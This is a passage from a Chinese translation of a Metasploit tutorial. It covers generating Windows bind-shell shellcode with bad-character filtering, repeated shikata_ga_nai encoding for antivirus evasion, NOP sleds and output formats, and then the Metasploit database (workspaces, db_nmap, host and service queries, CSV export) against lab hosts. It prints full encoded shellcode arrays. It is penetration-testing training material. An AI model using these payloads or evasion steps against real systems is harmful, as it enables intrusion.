"\xb5\x3d\xed\xa7\x20\xb6\xe1\x0c\x26\x90\xe5\x93\xeb\xab" + "\x12\x1f\x0a\x7b\x93\x5b\x29\x5f\xff\x38\x50\xc6\xa5\xef" + "\x6d\x18\x06\x4f\xc8\x53\xab\x84\x61\x3e\xa4\x69\x48\xc0" + "\x34\xe6\xdb\xb3\x06\xa9\x77\x5b\x2b\x22\x5e\x9c\x4c\x19" + "\x26\x32\xb3\xa2\x57\x1b\x70\xf6\x07\x33\x51\x77\xcc\xc3" + "\x5e\xa2\x79\xcb\xf9\x1d\x9c\x36\xb9\xcd\x20\x98\x52\x04" + "\xaf\xc7\x43\x27\x65\x60\xeb\xda\x86\x9f\xb0\x53\x60\xf5" + "\x58\x32\x3a\x61\x9b\x61\xf3\x16\xe4\x43\xab\xb0\xad\x85" + "\x6c\xbf\x2d\x80\xda\x57\xa6\xc7\xde\x46\xb9\xcd\x76\x1f" + "\x2e\x9b\x16\x52\xce\x9c\x32\x04\x73\x0e\xd9\xd4\xfa\x33" + "\x76\x83\xab\x82\x8f\x41\x46\xbc\x39\x77\x9b\x58\x01\x33" + "\x40\x99\x8c\xba\x05\xa5\xaa\xac\xd3\x26\xf7\x98\x8b\x70" + "\xa1\x76\x6a\x2b\x03\x20\x24\x80\xcd\xa4\xb1\xea\xcd\xb2" + "\xbd\x26\xb8\x5a\x0f\x9f\xfd\x65\xa0\x77\x0a\x1e\xdc\xe7" + "\xf5\xf5\x64\x17\xbc\x57\xcc\xb0\x19\x02\x4c\xdd\x99\xf9" + "\x93\xd8\x19\x0b\x6c\x1f\x01\x7e\x69\x5b\x85\x93\x03\xf4" + "\x60\x93\xb0\xf5\xa0"
通过使用' cat '命令的方式与我们在命令shell中的相同,我们可以看到我们的有效载荷已成功保存到我们的文件中。正如我们所看到的,在生成shellcode时也可以使用多个选项。
通过多次生成Payloads(有效载荷)
接下来在我们的选项列表中是迭代开关' -i '。简而言之,它告诉框架在生成最终有效载荷之前必须执行多少次编码。这样做的一个原因是隐形或反病毒逃避。MSFU的另一部分详细介绍了防病毒逃避。
因此,让我们比较使用1次迭代生成的绑定shell有效内容与相同shellcode的2次迭代。
msf payload(shell_bind_tcp) > generate -b '\x00' # windows/shell_bind_tcp - 368 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, # InitialAutoRunScript=, AutoRunScript= buf = "\xdb\xd9\xb8\x41\x07\x94\x72\xd9\x74\x24\xf4\x5b\x2b\xc9" + "\xb1\x56\x31\x43\x18\x03\x43\x18\x83\xeb\xbd\xe5\x61\x8e" + "\xd5\x63\x89\x6f\x25\x14\x03\x8a\x14\x06\x77\xde\x04\x96" + "\xf3\xb2\xa4\x5d\x51\x27\x3f\x13\x7e\x48\x88\x9e\x58\x67" + "\x09\x2f\x65\x2b\xc9\x31\x19\x36\x1d\x92\x20\xf9\x50\xd3" + "\x65\xe4\x9a\x81\x3e\x62\x08\x36\x4a\x36\x90\x37\x9c\x3c" + ...略...
比较两个输出,我们看到第二次迭代对我们的有效载荷有明显的影响。首先,字节大小比第一大。我们的负载越大,迭代次数越多。其次比较突出显示的代码的前几个字节,我们也看到它们不再相同。这是由于第二次迭代或第二次编码通过。它编码我们的有效载荷一次,而不是有效载荷并重新编码。让我们看看我们的shellcode,看看5次迭代会产生多大的差异。
msf payload(shell_bind_tcp) > generate -b '\x00' -i 5 # windows/shell_bind_tcp - 463 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # VERBOSE=false, LPORT=4444, RHOST=192.168.1.136, # PrependMigrate=false, EXITFUNC=process, # InitialAutoRunScript=, AutoRunScript= buf = "\xd9\xc5\xd9\x74\x24\xf4\xba\xb8\x43\x19\xe7\x5e\x29\xc9" + "\xb1\x6e\x31\x56\x17\x83\xee\xfc\x03\xee\x50\xfb\x12\xd3" + "\x96\x22\xa8\xcf\xec\x8d\xec\xbd\x01\xe0\x7e\xea\xd0\x4d" + "\xe7\x6f\x0a\x51\xd9\x07\xdf\xa9\x72\x71\x31\x96\x4e\xb5" + "\x6b\x24\x04\x48\x8a\xbc\x79\xdb\x87\x30\x5b\xc3\x23\xdc" + "\x98\x06\x18\x4d\xa8\xf5\x60\x3a\x7b\xf4\x1e\xb9\x6c\x7a" + "\xa6\xa2\xe6\xac\x71\x4a\x4e\x40\x67\x69\x4a\x03\x56\x55" + "\x07\x22\x7f\x66\xa4\x56\x86\x75\xca\x57\xb6\x59\x69\x19" + "\x89\x1a\x31\x0d\x1c\x76\x2d\xb4\xe3\x6d\x0a\xb6\xdf\xb7" + "\x6f\x7c\x7e\xcb\x36\x14\xf8\xc6\xa3\xd1\x3e\xb3\x03\xa3" + "\xa2\x72\xd0\xb8\xfe\x78\xc6\xa3\x09\xbe\x2d\xac\xf7\xcd" + "\x70\xc8\xdc\xd4\x91\x76\xbe\x17\x1e\xb0\x4b\xdc\xfc\xce" + "\xc9\x4c\x40\x08\x2c\x5e\xd4\x43\xf7\x38\xe8\x17\x2f\x4d" + "\xbf\xbd\xb1\xbf\x58\x1a\xe0\x29\xf5\x8c\x13\x90\x98\x0d" + "\x67\x59\xfb\x7c\x7a\xd4\x17\x71\x6f\x42\xf9\x72\x1f\xb3" + "\x32\x3d\x49\x87\xa3\x9d\x3d\xa8\xf5\x1b\xb0\x7a\x3d\xac" + "\xef\x69\x49\x32\xfe\x0d\x89\x22\xe0\x56\x42\xc6\x93\x76" + "\x3c\x92\x72\x5a\x5e\x2e\x67\x09\x66\x25\x81\xe8\xc6\x9d" + "\x2f\xc0\x06\xd5\xc9\xa2\x12\x8e\x2c\x9c\x01\xab\x34\xc7" + "\x03\x26\xc0\x3f\xdd\xa3\x09\x57\x78\xe6\xea\xf7\x47\x5c" + "\x98\x95\x3e\xf7\x03\x7c\x46\x9b\x1a\xd5\x21\xe2\x5c\x76" + "\x47\x0d\xb2\x39\x32\x86\x7a\x5c\xa0\x20\x65\xc5\xf0\xaf" + "\xf6\x6d\xe6\x83\xe7\xee\x4f\x80\xc7\x34\x16\x31\x0a\x17" + "\xa5\x55\x35\x45\x19\xfe\xac\x6c\x44\x07\x59\xdf\x40\xbe" + "\x73\x3a\x56\x33\xc6\xe5\xc0\xbe\xfd\x11\x7f\x0c\x32\xbb" + "\x19\xbb\x82\x0c\x89\xc1\xdf\xa0\x39\x8f\x4c\xd1\x94\x50" + "\x25\xe3\x6f\xf5\x82\x9a\x86\xe5\x8c\x4c\x6e\xb6\xb5\xc5" + "\x64\xbb\xdd\xa5\xc9\x9c\xe5\x5f\xe5\x0a\x85\x9e\x34\x32" + "\xc1\xe5\x65\x73\x1a\xf0\xee\xd6\xd5\x07\x60\x48\xf4\x9b" + "\xb5\x34\x4f\x44\x74\x03\x9d\xe6\xe3\x32\x33\x65\xde\xc2" + "\xad\x28\xb4\x83\x1f\x03\x68\x19\xef\x05\x7b\xf5\x89\xa0" + "\x7a\x33\x2c\x2c\xa9\x3f\xc0\x84\xa4\x58\xbf\xee\x56\x4c" + "\xf7\x0d\x11\x2b\x7f\x2c\x8f\x26\xa9\x60\x22\x6b\x19\x5c" + "\x0a"
与以前的所有产出相比,这一变化非常重要。它稍大,我们的字节没有接近类似的地方。理论上,这将使我们的有效负载版本不易被发现。
我们花了很多时间从默认值开始生成shellcode。在绑定shell的情况下,默认的侦听端口是4444.通常这个必须改变。我们可以通过使用'-o'开关来完成这个任务,然后是我们希望改变的值。让我们来看看我们可以为这个有效载荷更改哪些选项。从msfconsole中,我们将发出'show options'命令。
msf payload(shell_bind_tcp) > show options Module options (payload/windows/shell_bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LPORT 4444 yes The listen port RHOST no The target address
默认情况下,我们的shell会监听端口'4444',退出函数是'process'。我们将使用'-o'将其更改为端口'1234'和'seh'退出功能。语法是VARIABLE = VALUE,每个选项之间用逗号分隔。在这种情况下,监听端口和退出函数都会更改,因此使用以下语法'LPORT = 1234,EXITFUNC = seh'。
msf payload(shell_bind_tcp) > generate -o LPORT=1234,EXITFUNC=seh -b '\x00' -e x86/shikata_ga_nai # windows/shell_bind_tcp - 355 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # VERBOSE=false, LPORT=1234, RHOST=192.168.1.136, # PrependMigrate=false, EXITFUNC=seh, InitialAutoRunScript=, # AutoRunScript= buf = "\xbb\xe8\x48\xa4\x88\xdd\xc6\xd9\x74\x24\xf4\x5e\x29\xc9" + "\xb1\x53\x83\xee\xfc\x31\x5e\x0e\x03\xb6\x46\x46\x7d\xba" + "\xbf\x04\x7e\x42\x40\x69\xf6\xa7\x71\xa9\x6c\xac\x22\x19" + "\xe6\xe0\xce\xd2\xaa\x10\x44\x96\x62\x17\xed\x1d\x55\x16" + "\xee\x0e\xa5\x39\x6c\x4d\xfa\x99\x4d\x9e\x0f\xd8\x8a\xc3" + "\xe2\x88\x43\x8f\x51\x3c\xe7\xc5\x69\xb7\xbb\xc8\xe9\x24" + "\x0b\xea\xd8\xfb\x07\xb5\xfa\xfa\xc4\xcd\xb2\xe4\x09\xeb" + "\x0d\x9f\xfa\x87\x8f\x49\x33\x67\x23\xb4\xfb\x9a\x3d\xf1" + "\x3c\x45\x48\x0b\x3f\xf8\x4b\xc8\x3d\x26\xd9\xca\xe6\xad" + "\x79\x36\x16\x61\x1f\xbd\x14\xce\x6b\x99\x38\xd1\xb8\x92" + "\x45\x5a\x3f\x74\xcc\x18\x64\x50\x94\xfb\x05\xc1\x70\xad" + "\x3a\x11\xdb\x12\x9f\x5a\xf6\x47\x92\x01\x9f\xa4\x9f\xb9" + "\x5f\xa3\xa8\xca\x6d\x6c\x03\x44\xde\xe5\x8d\x93\x21\xdc" + "\x6a\x0b\xdc\xdf\x8a\x02\x1b\x8b\xda\x3c\x8a\xb4\xb0\xbc" + "\x33\x61\x2c\xb4\x92\xda\x53\x39\x64\x8b\xd3\x91\x0d\xc1" + "\xdb\xce\x2e\xea\x31\x67\xc6\x17\xba\x83\xc5\x91\x5c\xe1" + "\xf9\xf7\xf7\x9d\x3b\x2c\xc0\x3a\x43\x06\x78\xac\x0c\x40" + "\xbf\xd3\x8c\x46\x97\x43\x07\x85\x23\x72\x18\x80\x03\xe3" + "\x8f\x5e\xc2\x46\x31\x5e\xcf\x30\xd2\xcd\x94\xc0\x9d\xed" + "\x02\x97\xca\xc0\x5a\x7d\xe7\x7b\xf5\x63\xfa\x1a\x3e\x27" + "\x21\xdf\xc1\xa6\xa4\x5b\xe6\xb8\x70\x63\xa2\xec\x2c\x32" + "\x7c\x5a\x8b\xec\xce\x34\x45\x42\x99\xd0\x10\xa8\x1a\xa6" + "\x1c\xe5\xec\x46\xac\x50\xa9\x79\x01\x35\x3d\x02\x7f\xa5" + "\xc2\xd9\x3b\xdb\x33\xd3\xd1\x4c\xea\x86\x9b\x10\x0d\x7d" + "\xdf\x2c\x8e\x77\xa0\xca\x8e\xf2\xa5\x97\x08\xef\xd7\x88" + "\xfc\x0f\x4b\xa8\xd4"
使用NOP Sled生成Payload(有效载荷)
最后让我们看看NOP Sled长度和输出格式选项。当生成有效载荷时,默认的输出格式是'ruby'。尽管Ruby语言非常强大并且非常流行,但并不是每个人都能编写它。我们有能力告诉框架为我们的负载提供不同的编码格式,例如Perl,C和Java。在生成我们的shellcode时,也可以在开头添加一个NOP Sled。
首先让我们看看几种不同的输出格式,看看如何使用' -t '开关。与所有其他选项一样,所有需要完成的操作都是在开关中输入,然后按帮助菜单中显示的格式名称。
msf payload(shell_bind_tcp) > generate # windows/shell_bind_tcp - 341 bytes # http://www.metasploit.com # VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, # InitialAutoRunScript=, AutoRunScript= buf = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" + "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" + "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" + ...略...
msf payload(shell_bind_tcp) > generate -t c /* * windows/shell_bind_tcp - 341 bytes * http://www.metasploit.com * VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, * InitialAutoRunScript=, AutoRunScript= */ unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2" "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85" ...略...
msf payload(shell_bind_tcp) > generate -t java /* * windows/shell_bind_tcp - 341 bytes * http://www.metasploit.com * VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, * InitialAutoRunScript=, AutoRunScript= */ byte shell[] = new byte[] { (byte) 0xfc, (byte) 0xe8, (byte) 0x89, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x60, (byte) 0x89, (byte) 0xe5, (byte) 0x31, (byte) 0xd2, (byte) 0x64, (byte) 0x8b, (byte) 0x52, (byte) 0x30, (byte) 0x8b, (byte) 0x52, (byte) 0x0c, (byte) 0x8b, (byte) 0x52, (byte) 0x14, (byte) 0x8b, (byte) 0x72, (byte) 0x28, (byte) 0x0f, (byte) 0xb7, (byte) 0x4a, (byte) 0x26, (byte) 0x31, (byte) 0xff, (byte) 0x31, (byte) 0xc0, (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0xc1, ...略...
查看不同编程语言的输出,我们看到每个输出都遵守它们各自的语言语法。在Ruby中使用散列“#”来注释,但在C中,它被替换为斜杠和星号字符的“/ *”语法。查看所有三个输出,数组适用于所选语言格式。准备好将其复制并粘贴到脚本中。
添加一个NOP(无操作或下一个操作)sled是通过' -s '开关完成的,然后是NOP的数量。这将在我们的有效载荷的开始处添加sled。请记住,sled越大,shellcode越大。因此,添加10个NOP将为总大小增加10个字节。
msf payload(shell_bind_tcp) > generate # windows/shell_bind_tcp - 341 bytes # http://www.metasploit.com # VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, # InitialAutoRunScript=, AutoRunScript= buf = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" + "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" + "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" + ...略...
msf payload(shell_bind_tcp) > generate -s 14 # windows/shell_bind_tcp - 355 bytes # http://www.metasploit.com # NOP gen: x86/opty2 # VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, # InitialAutoRunScript=, AutoRunScript= buf = "\xb9\xd5\x15\x9f\x90\x04\xf8\x96\x24\x34\x1c\x98\x14\x4a" + "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" + "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" + "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" + ...略...
突出显示的颜色文本显示了我们在有效负载开始时的NOP sled。将接下来的3行与上面的shellcode比较,我们看到它们完全一样。如预期的那样,总字节数增长了14个字节。
六、 Databases(数据库)
6.1 Metasploit中的Databases(数据库)
使用Metasploit将信息存储在数据库中
在进行渗透测试时,跟踪您在目标网络上完成的所有操作(通常是一项挑战)。这是配置数据库的好时机。Metasploit内置了对PostgreSQL数据库系统的支持。
该系统可以快速方便地访问扫描信息,并使我们能够导入和导出各种第三方工具的扫描结果。我们也可以使用这些信息来快速配置模块选项。最重要的是,它保持我们的结果清洁和组织。
msf > help database
数据库后端命令 ========================= 命 令 描 述 ------- ----------- db_connect 连接到现有的数据库 db_disconnect 断开与当前数据库实例的连接 db_export 导出包含数据库内容的文件 db_import 导入扫描结果文件(文件类型将被自动检测) db_nmap 执行nmap并自动记录输出 db_rebuild_cache 重建数据库存储的模块高速缓存 db_status 显示当前的数据库状态 hosts 列出数据库中的所有主机 loot 列出数据库中的所有战利品 notes 列出数据库中的所有笔记 services 列出数据库中的所有服务 vulns 列出数据库中的所有漏洞 workspace 在数据库工作区之间切换
6.2 Metasploit中使用Database(数据库)
内容:
1 、Setup(设置) 2 、Workspaces(工作区) 3、 Importing & Scanning(导入和扫描) 4、 Backing Up(备份) 5、 Hosts(主机) 6、 Setting up Modules(设置模块) 7、 Services(服务) 8、 CSV Export(csv导出) 9、 Creds(凭据) 10、 Loot
6.2.1、设置我们的Metasploit数据库
在Kali中,您需要在使用数据库之前启动postgresql服务器。
root@kali:~# systemctl start postgresql
启动postgresql后,您需要使用msfdb init创建并初始化msf数据库。
root@kali:~# msfdb init Creating database user 'msf' Enter password for new role: Enter it again: Creating databases 'msf' and 'msf_test' Creating configuration file in /usr/share/metasploit-framework/config/database.yml Creating initial database schema
注意:如果你已经配置执行此命令就会提示“A database appears to be already configured, skipping initialization(数据库似乎已经配置,跳过初始化)”;
6.2.2 在Metasploit中使用工作区
当我们加载msfconsole并运行' db_status '时,我们可以确认Metasploit已成功连接到数据库。
msf > db_status
[*] postgresql connected to msf
看到这个功能是为了跟踪我们的活动和扫描顺序。我们必须从右脚开始。一旦连接到数据库,我们就可以通过使用所谓的“工作空间”来组织我们不同的动作。这使我们能够保存来自不同locations(位置)/networks(网络)/subnets(子网)的不同扫描。
从msfconsole发出' workspace '命令,将显示当前选定的工作区。连接到数据库时选择“ default”工作区,数据库由名称旁边的 * 表示。
msf > workspace * default msfu lab1 lab2 lab3 lab4
正如我们所看到的,当涉及到保持“neat”时,这可能非常方便。让我们将当前工作区更改为'msfu'。
msf > workspace msfu [*] Workspace: msfu msf > workspace default * msfu lab1 lab2 lab3 lab4
创建和删除工作区只需在msfconsole提示符处使用' -a '或' -d '后跟名称即可。
msf > workspace -a lab4 [*] Added workspace: lab4 msf >
msf > workspace -d lab4 [*] Deleted workspace: lab4 msf >
工作区使用就这么简单,使用相同的命令并添加' -h '选项将为我们提供命令的其他功能。
msf > workspace -h
用法: workspace 列出工作区 workspace -v 详细列出工作区 workspace [名称] 开关工作区 workspace -a [名称] ... 添加工作区(s) workspace -d [名称] ... 删除工作区(s) workspace -D 删除所有工作区 workspace -r <旧> <新> 重命名工作区 workspace -h 显示此帮助信息
从现在起,任何扫描或从第三方应用程序导入都将保存到此工作区中。
现在我们连接到我们的数据库和工作区设置,让我们看看用一些数据填充它。首先,我们将使用msfconsole中的'help'命令查看可用的不同“db_”命令。
msf> help ... 略 ... 数据库后端命令 ========================= 命 令 描 述 ------- ----------- db_connect 连接到现有的数据库 db_disconnect 断开与当前数据库实例的连接 db_export 导出包含数据库内容的文件 db_import 导入扫描结果文件(文件类型将被自动检测) db_nmap 执行nmap并自动记录输出 db_rebuild_cache 重建数据库存储的模块高速缓存 db_status 显示当前的数据库状态 hosts 列出数据库中的所有主机 loot 列出数据库中的所有战利品 notes 列出数据库中的所有笔记 services 列出数据库中的所有服务 vulns 列出数据库中的所有漏洞 workspace 在数据库工作区之间切换
5.2.3 导入和扫描
有几种方法可以做到这一点,从直接从控制台扫描主机或网络,或从早期扫描导入文件。我们首先导入'metasploitable 2'主机的nmap扫描。这是使用' db_import ' 完成的,后面是我们文件的路径。
msf > db_import /root/msfu/nmapScan [*] Importing 'Nmap XML' data [*] Import: Parsing with 'Rex::Parser::NmapXMLStreamParser' [*] Importing host 172.16.194.172 [*] Successfully imported /root/msfu/nmapScan msf > hosts Hosts ===== address mac name os_name os_flavor os_sp purpose info comments ------- --- ---- ------- --------- ----- ------- ---- -------- 172.16.194.172 00:0C:29:D1:62:80 Linux Ubuntu server
一旦完成,我们可以通过发出'hosts'命令来确认导入。这将显示存储在我们当前工作区中的所有主机。
我们还可以使用'db_nmap'命令直接从控制台扫描主机。扫描结果将保存在我们当前的数据库中。该命令的作用方式与'nmap'的命令行版本相同。
msf > db_nmap -A 172.16.194.134 [*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2012-06-18 12:36 EDT [*] Nmap: Nmap scan report for 172.16.194.134 [*] Nmap: Host is up (0.00031s latency). [*] Nmap: Not shown: 994 closed ports [*] Nmap: PORT STATE SERVICE VERSION [*] Nmap: 80/tcp open http Apache httpd 2.2.17 ((Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 ...略... [*] Nmap: HOP RTT ADDRESS [*] Nmap: 1 0.31 ms 172.16.194.134 [*] Nmap: OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . [*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 14.91 seconds msf >
msf > hosts Hosts ===== address mac name os_name os_flavor os_sp purpose info comments ------- --- ---- ------- --------- ----- ------- ---- -------- 172.16.194.134 00:0C:29:68:51:BB Microsoft Windows XP server 172.16.194.172 00:0C:29:D1:62:80 Linux Ubuntu server
5.2.4、备份我们的数据
将数据导出到Metasploit环境之外非常简单。使用' db_export '命令,我们收集到的所有信息都可以保存在一个XML文件中。此格式可以稍后用于报告目的轻松使用和操作。该命令有2个输出,' xml '格式将导出当前存储在我们活动工作区中的所有信息,' pwdump '格式导出与使用/收集的凭证有关的所有信息。
msf > db_export -h 用法: db_export -f <format> [filename] Format can be one of: xml, pwdump #(format可以是下列之一:xml,pwdump) [-] No output file was specified
msf > db_export -f xml /root/msfu/Exported.xml [*] Starting export of workspace msfu to /root/msfu/Exported.xml [ xml ]... [*] >> Starting export of report [*] >> Starting export of hosts [*] >> Starting export of events [*] >> Starting export of services [*] >> Starting export of credentials [*] >> Starting export of web sites [*] >> Starting export of web pages [*] >> Starting export of web forms [*] >> Starting export of web vulns [*] >> Finished export of report [*] Finished export of workspace msfu to /root/msfu/Exported.xml [ xml ]...
5.2.5 使用主机命令
现在我们可以将数据导入和导出数据库,让我们看看我们如何在msfconsole中使用这些信息。许多命令可用于搜索存储在我们数据库中的特定信息。承载名称,地址,发现的服务等。我们甚至可以使用生成的数据来填充模块设置,例如RHOSTS。我们将在稍后看看这是如何完成的。
“ hosts”命令之前用于确认数据库中数据的存在。让我们看看可用的不同选项,看看我们如何使用它来为我们提供快速有用的信息。用'-h'发出命令将显示帮助菜单。
msf > hosts -h
用法: hosts [选项] [addr1 addr2 ...] 选项: -a,--add 添加主机而不是搜索 -d, - delete 删除主机而不是搜索 -c <col1,col2> 仅显示给定列(请参阅下面的列表) -h, - help 显示此帮助信息 -u, --up 只显示已启动的主机 -o <file> 以csv格式将输出发送到文件 -O <column> 按指定的列号对行进行排序 -R, --rhosts 从搜索结果中设置RHOSTS -S, --search 搜索字符串进行过滤 -i, -- info 更改主机的信息 -n, - -name 更改主机的名称 -m,-- comment 更改主机的评论 -t, -- tag 为一系列主机添加或指定一个标记 -c可用列:address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_family, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count, tags
我们首先要求' hosts '命令使用' -c '选项仅显示IP地址和操作系统类型。
msf > hosts -c address,os_flavor Hosts ===== address os_flavor ------- --------- 172.16.2.134 XP 172.16.2.172 Ubuntu
5.2.6 设置模块
我们可以使用的另一个有趣功能是能够搜索我们所有条目的具体内容。想象一下,如果我们希望从我们的扫描中只找到基于Linux的机器。为此,我们使用' -S '选项。该选项可以与我们之前的示例结合使用,并帮助微调我们的结果。
msf > hosts -c address,os_flavor -S Linux Hosts ===== address os_flavor ------- --------- 172.16.2.172 Ubuntu
使用我们前面例子的输出,我们将把它提供给'tcp'扫描辅助模块。
msf > use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > show options Module options (auxiliary/scanner/portscan/tcp): Name Current Setting Required Description ---- --------------- -------- ----------- CONCURRENCY 10 yes The number of concurrent ports to check per host DELAY 0 yes The delay between connections, per thread, in milliseconds JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds. PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads TIMEOUT 1000 yes The socket connect timeout in milliseconds
默认情况下,' RHOSTS '中没有设置任何内容,我们将' -R '开关添加到hosts命令并运行模块。希望它能够毫无问题地运行并扫描我们的目标。
msf auxiliary(tcp) > hosts -c address,os_flavor -S Linux -R Hosts ===== address os_flavor ------- --------- 172.16.2.172 Ubuntu RHOSTS => 172.16.2.172 msf auxiliary(tcp) > run [*] 172.16.2.172:25 - TCP OPEN [*] 172.16.2.172:23 - TCP OPEN [*] 172.16.2.172:22 - TCP OPEN
当然,如果我们的结果包含多个地址,这也是有效的。
msf auxiliary(tcp) > hosts -R Hosts ===== address mac name os_name os_flavor os_sp purpose info comments ------- --- ---- ------- --------- ----- ------- ---- -------- 172.16.194.134 00:0C:29:68:51:BB Microsoft Windows XP server 172.16.194.172 00:0C:29:D1:62:80 Linux Ubuntu server RHOSTS => 172.16.194.134 172.16.194.172 msf auxiliary(tcp) > show options Module options (auxiliary/scanner/portscan/tcp): Name Current Setting Required Description ---- --------------- -------- ----------- CONCURRENCY 10 yes The number of concurrent ports to check per host FILTER no The filter string for capturing traffic INTERFACE no The name of the interface PCAPFILE no The name of the PCAP capture file to process PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS 172.16.194.134 172.16.194.172 yes The target address range or CIDR identifier SNAPLEN 65535 yes The number of bytes to capture THREADS 1 yes The number of concurrent threads TIMEOUT 1000 yes The socket connect timeout in milliseconds
如果我们的数据库包含数百个条目,您可以看到这可能是多么有用。我们只能搜索Windows机器,然后很快为smb_version辅助模块设置RHOSTS选项。几乎所有与数据库交互的命令都可以使用设置的RHOSTS开关。
5.2.7 服务
另一种搜索数据库的方法是使用' services '命令。像前面的例子一样,我们可以很轻松地提取非常具体的信息。
msf > services -h
用法: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2...] -a, -- add 添加服务而不是搜索 -d, -- delete 删除服务而不是搜索 -c <col1,col2> 只显示给定的列 -h, -- help 显示此帮助信息 -s <name1,name2> 搜索服务名称列表 -p <port1,port2> 搜索端口列表 -r <协议> 仅显示[tcp | udp]服务 -u, -- up 只显示已启动的服务 -o <file> 以csv格式将输出发送到文件 -O <column> 按指定的列号对行进行排序 -R, -- rhosts 从搜索结果中设置RHOSTS -S, --search 搜索字符串进行过滤 -c可用列:created_at,info,name,port,proto,state,updated_at
与"hosts"命令大致相同,我们可以指定要显示的字段。加上' -S '开关,我们也可以搜索包含特定字符串的服务。
msf > services -c name,info 172.16.194.134 Services ======== host name info ---- ---- ---- 172.16.194.134 http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 172.16.194.134 msrpc Microsoft Windows RPC 172.16.194.134 netbios-ssn 172.16.194.134 http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 172.16.194.134 microsoft-ds Microsoft Windows XP microsoft-ds 172.16.194.134 mysql
在这里,我们使用包含字符串'http'的服务名称来搜索数据库中包含的所有主机。
msf > services -c name,info -S http Services ======== host name info ---- ---- ---- 172.16.2.134 http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 172.16.2.134 http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 172.16.2.172 http Apache httpd 2.2.8 (Ubuntu) DAV/2 172.16.2.172 http Apache Tomcat/Coyote JSP engine 1.1
搜索的组合非常庞大。我们可以使用特定的端口或端口范围。使用'-s'或'-S'开关时全部或部分服务名称。对于所有的主机或只是少数选择...这个列表继续下去。以下是一些示例,但您可能需要尝试使用这些功能才能获得所需内容并需要进行搜索。
msf > services -c info,name -p 445 Services ======== host info name ---- ---- ---- 172.16.2.134 Microsoft Windows XP microsoft-ds microsoft-ds 172.16.2.172 Samba smbd 3.X workgroup: WORKGROUP netbios-ssn
msf > services -c port,proto,state -p 70-81 Services ======== host port proto state ---- ---- ----- ----- 172.16.2.134 80 tcp open 172.16.2.172 75 tcp closed 172.16.2.172 71 tcp closed 172.16.2.172 72 tcp closed
msf > services -s http -c port 172.16.194.134 Services ======== host port ---- ---- 172.16.2.134 80 172.16.2.134 443
msf > services -S Unr
5.2.8 CSV导出
“hosts”和“services”命令都为我们提供了一种将查询结果保存到文件中的方法。文件格式是逗号分隔值或CSV。随后是具有路径和文件名的'-o',此时屏幕上显示的信息现在将保存到磁盘。
msf > services -s http -c port 172.16.194.134 -o /root/msfu/http.csv [*] Wrote services to /root/msfu/http.csv msf > hosts -S Linux -o /root/msfu/linux.csv [*] Wrote hosts to /root/msfu/linux.csv msf > cat /root/msfu/linux.csv [*] exec: cat /root/msfu/linux.csv address,mac,name,os_name,os_flavor,os_sp,purpose,info,comments "172.16.194.172","00:0C:29:D1:62:80","","Linux","Debian","","server","","" msf > cat /root/msfu/http.csv [*] exec: cat /root/msfu/http.csv host,port "172.16.194.134","80" "172.16.194.134","443"
5.2.9 Creds(凭据)
